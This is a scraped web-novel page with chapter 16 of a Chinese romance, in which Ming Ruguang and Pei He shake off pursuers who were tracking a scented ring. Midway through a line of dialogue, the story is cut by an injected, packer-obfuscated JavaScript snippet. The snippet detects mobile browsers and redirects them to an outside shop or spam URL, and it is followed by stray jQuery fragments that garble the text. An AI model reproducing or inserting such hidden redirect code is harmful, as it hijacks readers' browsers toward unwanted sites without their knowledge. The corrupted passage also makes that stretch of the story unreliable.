默认冷灰
24号文字
方正启体

16. 第 16 章

作者:一条衣鱼本书字数:K更新时间:
    两人一路躲藏,时而穿过民居,时而跳上屋顶,明如光当然跳不上去,是裴壑抱上去的。但就算这样,那两人依然紧随其后。


    明如光一介深闺姑娘,哪里跑得了这么长的路。才两下就累得上气不接下气,她喘着气,鬓发也跑得毛毛躁躁,抹了把汗道:“要不找个地方躲一下吧。”


    裴壑正在侦查,他一扭头,就看见她在一边用手帕擦汗,几缕头发沾在光洁的额头上,身上飘来一阵香气,那是她爱用的茉莉合香。平时这香气很隐秘,她一出汗,这阵甜香仿佛就在鼻尖,仿佛她的肌肤就挨在他眼前。


    裴壑顿时耳尖带了点粉色,干咳一声,努力正了正神志,“那些人不管怎么甩都能找到,难道是我们身上带了什么?”


    “可我今天穿的戴的分明都不是平时的衣物首饰。”明如光上下检查,没发现有什么问题,她看向裴壑,“难道是你?”


    他笃定地摇头,“不可能,我从不让他人近身。”


    她纳闷,“可是,我不就在你身边吗?”


    明明是一句很普通的话,他却像是被踩了尾巴的猫,背过身去,连说话都有点卡壳,“你,你不一样。”


    明如光上下打量裴壑,身上确实没什么特别之处。


    两人彼此看了一会儿,明如光后知后觉地害羞起来,她在这儿对着未婚男子瞎看什么呢!后退一步,摆摆手,“既然我们都正常,那可能是他们擅长追踪,别单从自己身上找原因。”


    裴壑忽然握住她摆动的手,牵过来拿到眼前。


    “你,你干什么?”她一下慌了,手被他握着,还仔仔细细端详,越凑越近,好像,好像要亲上去一样!


    她用力抽回来,瞪着他,“你,现在可不是做这种事的时候!”


    裴壑反而不解了,“什么事情?”


    她抚摸着发疼的手,脸上一红,“你倒还问起我来了。”


    裴壑上前一步,想再牵她的手,她后退一步避开。就这样步步紧逼,裴壑把她逼到了墙角。


    “你……”明如光从光亮处退到屋檐下的阴影,再加上那人的影子铺天盖地地笼罩下来,似乎完全落入他的控制中。


    她面上十分紧张,那人居然还向她不断靠近,空间不断减小,他的气息越发近了。如果她没看错的话,怎么好像还带着……笑啊?


    她的心跳越来越快,若是胸腔再薄一些,她怀疑自己的心会直接跳出来。


    现在是什么情况啊?


    就在鼻尖挨着鼻尖的前一刻,裴壑停了下来。


    明如光听见头上传来声音,带着淡淡的戏谑:“怎么这么怕我?”她这才发现,自己像是禁不住一样,越缩越小,身子都快蹲到墙角了。


    看她可怜兮兮的样子就觉得心情大好,“不逗你了。”裴壑后撤一步,留给她安全距离。


    他伸手将她牵起来,顺便摘下了她手上的珍珠戒指。


    “这是什么?”他问。


    珍珠在明府不算很昂贵的饰品,甚至在扬州都不算,这里近海,养蚌采蚌很方便。明如光今日出门时,因为打扮朴素,随手捡起这枚不算华丽的戒指。


    “姑母给的,只是个寻常饰物罢了。”


    “你可闻到上面有香味?”


    她凑近一闻,“似乎是沉香,姑母常用这种香。”


    “不止。还有其他味道,这枚戒指恐怕专门浸了香料。而那两人带了只小老鼠,恐怕就是嗅着这异香而来。”


    “可是姑母为什么……”她愣愣地望着他,而后意识到了什么,喃喃道:“原来是这样。”


    “你有头绪?”


    她略一踌躇,想了想还是直接说了:“姑母想知道你的身份,你也知道最近在通缉京城的钦犯,她不放心。只是没想到就算是我打掩护,她还是不信任,要亲自验一验。”


    裴壑脸上闪过阴影,他最厌烦这种大家族之间的勾心斗角,令人疲惫,也令人失望,“她既然把药涂在你的戒指上,就说明她连你一起怀疑。”


    明如光却松了一口气,大姑母完全有可能做出这种事,却不会威胁到她的安全,“没那么紧张啦,她只是叫人跟着我们,担心我去做危险的事,或者是被来路不明的人骗了。毕竟你的身份那么神秘。”


    她理理裙摆,走出屋檐的阴影,大大方方地向他伸手,“我们装作不知道,然后回府吧。”


    时近中午,影子浓缩得幽深,裴壑站在屋檐下,一条泾渭分明的阴影,隔开了他和明如光。


    他任由那只白嫩的手悬在半空,满脸猜疑,“可她怀疑你,并没有真正的信任你。”


    鲜少见他变了脸色,明如光忽然觉得此时的他像一只龇牙咧嘴的流浪狗,被辜负得太多,已经不信任人。那张牙舞爪看似威胁他人,实则是自己的保护,她不由得想,他从前究竟经历过什么呢?


    明如光耐心解释:“她是掌家的人,整日殚精竭虑,当然要将一切可能出现的危机尽早控制住。”


    “我们立场不同,当然会出现这样的摩擦。”


    裴壑垂下眼睛,勉强接受了她的说法。是啊,他太紧张了,因为被亲人害过一次,对所有的背叛都十分警惕,生怕再次重演。但对明鸾,他并没有放下警戒,反而更加提防,毕竟她们才是亲人,而自己只是个外人。


    看他的表情渐渐恢复平时的冰山,她知道他冷静了,于是笑道:“那我们可以走了吗?”


    她指指路,方才一直在分辨,“我们现在在的巷子再拐两个弯就是驿站。”


    裴壑点点头,却忽然抱起明如光,点着墙壁,轻功而起。


    他却拉着她朝着反方向拐进另一个地方。


    墙垣高耸,白墙青瓦,气氛肃穆,不时有公差模样的人出入。


    明如光一惊,这里的装饰看似简朴,但处处都有门道,十分讲究,显然不是普通民居,可能是某位达官贵人的住处。她惊道:“你要做什么?”


    裴壑悠然道:“我可没说就这么算了。”


    他纵身跃起,马尾被风吹散,露出修长的脖颈,明如光望见他的棱角分明的侧脸,下颌线像刀锋一样清晰,正如他的人一样尖锐。


    观察到她的视线,他投以轻轻的一眼,眉毛微抬,黑灰的眸子一扫,像是一道凉爽的风拂过心头,“怎么?”


    “没,没什么。”明如光心跳一滞,移开眼,心里忍不住叹气,现在这种近在咫尺的亲密举动她都习惯了,也不知道是好是坏。


    那两人一路根据小鼠的指引找过来,看到裴壑进了一处隐秘的住宅,两人对视一眼,心想裴壑此人果然有问题!于是翻墙而入,还没落地,骑在墙头的时候就被下面的家丁团团围住。


    为首的家丁长枪一挑,把两人掀下来,“擅闯知府别院意欲何为!”


    那两人一愣,怎么会是知府住所?连声否认道:“我们是追着一男一女来的,你们有没有见过?”


    “什么男女,这一整天就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284096|198411||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你们。”


    两人看看怀中的小鼠,可它分明指向这里,难道他们已经进去了?


    不远处,明如光坐在一棵大槐树的枝干上,她的手指上空空如也,裴壑将她安顿到树上,戒指则扔进了别院的湖水里。


    在树上,院中的情况看得一清二楚,看到两人被扔出宅院,她问旁边站着的裴壑,“你怎么知道这里是知府别院?”


    一般来说,别院是不会公开的住处,也许藏着秘密的人,秘密的事,总之是外人不会知道的地方。


    他语气随意,“闲逛看到了。”


    ……谁信啊。她无言地看了他一眼,认识了这么久,即便经历再多,有关他的事,她还是什么都不知道。


    心中不由得压上一块石头。


    他们看起来已经产生了联系,却轻得像蛛网,风一吹就断了。她站在靠树干近的一端,因为有些恐高,手一直扶着树干。他背手站在树梢上,极黑的头发在阳光下折射出深青色,足尖点在绿叶上,像一只停在枝头的雄鹰。


    好像下一秒便会振翅而飞,飞向青天。


    明如光一时间看得有些入迷,她从未见过这样鲜明的人。耳边树梢枝杈沙沙作响,温热的风吹过她的面颊,不自觉红了。


    下面那两人失去目标,在知府别院门口像个没头苍蝇,一个头两个大。


    甩掉了他们,两人回到驿站,坐上马车,一同回府。


    路上,明如光想起裴壑矫健的身姿,不由赞叹道:“好漂亮的身手,我从未见过像你这么厉害的人,这身武艺是怎么练成的?”


    裴壑正在闭目养神,听见这话,掀起一点眼皮,很快又合上:“没什么,耳濡目染罢了。”闭上眼的一瞬间,眼前忽然出现了战火,到处都是火光与狼烟,旌旗摧折,尸体堆积成山。


    他背着下属一步一步走向安全的地方,还要躲避身后飞来的暗箭。


    前方是看不到头的战场,身后是不断的喊杀声,他真的能逃脱吗?


    “只是闲聊一二也不行吗?”


    清脆的女声将他唤回现实,他一愣,意识到自己正坐在马车里,这里是安全的。


    他发现自己的手心湿了。


    他稳了稳神,语气中还带着战场中的冷酷,“没什么好聊的,是你太弱了才大惊小怪。”


    “若不是我三番四次救你,你早就……算了。”


    明如光本想和他闲聊两句,却被泼了一头冷水,旧事重提,心里也有点不快。因为两人关系近了,她嘴上也不再一味避让,“话也不是这样说吧,任何人都有力有不逮的时候。”


    她伸出一根青葱指尖,“裴郎君这么厉害,还不是要寄居明府?”


    裴壑冷冷地,“弱者才会被盯上。你连自保都不能,怨得了谁?”


    明如光一怔,随即低下头去,绞紧了手帕。


    明明是七月酷暑,马车内的气氛却如寒冬一般,令人不愿久坐。马夫在外面听着,都不由得打了个冷颤。


    两人又说了两句,裴壑忽然掀开马车前方的帘子道:“你以为自己很安全,实际上处处都是危机,数不清的人想从你身上咬下一块肉。”


    “而你还在傻乎乎地站在原地。”


    “恕不奉陪。”


    说着,他从疾驰的马车上跳了下去,足尖轻点,片刻便消失了。


    马夫急忙勒紧缰绳,怕伤到裴壑,明如光却闷声,又带着些委屈的怒意道:“走便是了,不必理会。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)